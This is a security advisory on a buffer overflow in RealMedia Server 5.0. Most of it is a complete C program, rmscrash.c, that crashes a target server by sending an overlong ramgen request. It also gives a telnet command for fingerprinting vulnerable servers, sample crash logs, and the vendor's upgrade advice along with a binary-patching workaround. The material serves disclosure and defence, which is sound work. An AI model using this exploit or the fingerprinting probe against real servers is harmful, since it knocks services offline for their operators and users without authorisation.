COMMAND

    RealMedia Server

SYSTEMS AFFECTED

    RealMedia Server 5.0

PROBLEM

    'bow' posted following.  RealMedia 5.0 servers, and probably  4.0,
    can be crashed by overflowing  the buffer which stores the  ramgen
    requests.   The exploit  is included  below. It's  been tested  on
    FreeBSD  and  RealMedia  server  5.0-rvserver-build-290.  When the
    server crashes, it  logs the IP  of the person  who crashed it  in
    the pnserver error log. It looks like this:

        ***22-Dec-99 10:57:16.112 pnserver(241): TRAPPED FAULT: Attempting Crash Avoidance...
        ***22-Dec-99 10:57:16.112 pnserver(241): Fault caused by type 0 client from 204.216.183.2
        ***22-Dec-99 10:57:16.112 pnserver(241): TRAPPED FAULT: Crash Avoidance Successful
        ***22-Dec-99 10:57:16.113 pnserver(241): FATAL ERROR: Couldn't Handle Fault: Terminating...
        ***22-Dec-99 10:57:16.113 pnserver(241): FATAL ERROR: Please File Bug Report

    An easy way  to tell if  a server is  running 5.0 is  to telnet to
    the realmedia port, usually 7070, and typing:

        GET /SmpDsBhgRl <enter><enter>

    RealMedia 5.0 servers always returns "Server: RealServer 1.0 Beta"
    in the  headers, and  G2 (6.0,  and 7.0?)  servers return "Server:
    RMServer 1.0".

    /*
     *  rmscrash.c  - bow@bow.net
     *
     *  Crash a RealMedia 5.0 server by sending a very long ramgen request.
     *
     *  Test on:
     *         $ pnserver -v
     *         Version:        5.0-rvserver-build-290
     *         Platform: FreeBSD-2.1.x
     *
     */
    
    #include        <stdio.h>
    #include        <stdlib.h>
    #include        <sys/time.h>
    #include        <sys/types.h>
    #include        <unistd.h>
    
    #include        <sys/socket.h>
    #include        <netinet/in.h>
    #include        <netdb.h>
    
    #define BUFLEN 4082
    
    char    buf[BUFLEN+14];
    int     sock;
    struct  sockaddr_in sa;
    struct  hostent *hp;
    
    void main (int argc, char *argv[]) {
            int i, port;
    
            if (argc < 3) {
                    printf("Usage: %s realserver port\n",argv[0]);
                    exit(-1);
            }
    
            port = atoi(argv[2]);
    
            memset(buf,0x41,BUFLEN);
            memcpy(buf,"GET /ramgen/",12);
            memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);
    
    
            if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                    perror("gethostbyname()");
                    exit(0);
            }
    
            if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                    perror("socket()");
                    exit(0);
            }
            sa.sin_family=AF_INET;
            sa.sin_port=htons(port);
            memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
            if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                    perror("connect()");
                    exit(0);
            }
    
            printf("Connected to %s. Sending data\n",argv[1]);
            write(sock,buf,strlen(buf));
            printf("Done.\n");
    
            close(sock);
            exit(0);
    }

SOLUTION

    'bow'  emailed  RealNetworks  about  it.   Their response was that
    it's a  known issue  with 5.0  and the  only way  to fix  it is to
    upgrade to 6.0 or 7.0.

    A hacked  up fix  for the  problem that  was used  is to  edit the
    pnserver binary and  change the ramgen  string to something  else.
    This, however,  will break  the ramgen  functionality. (Which  you
    may don't  use).   If you  are going  to rename  the ramgen in the
    binary to something else, make  sure it matches the string  length
    of 6.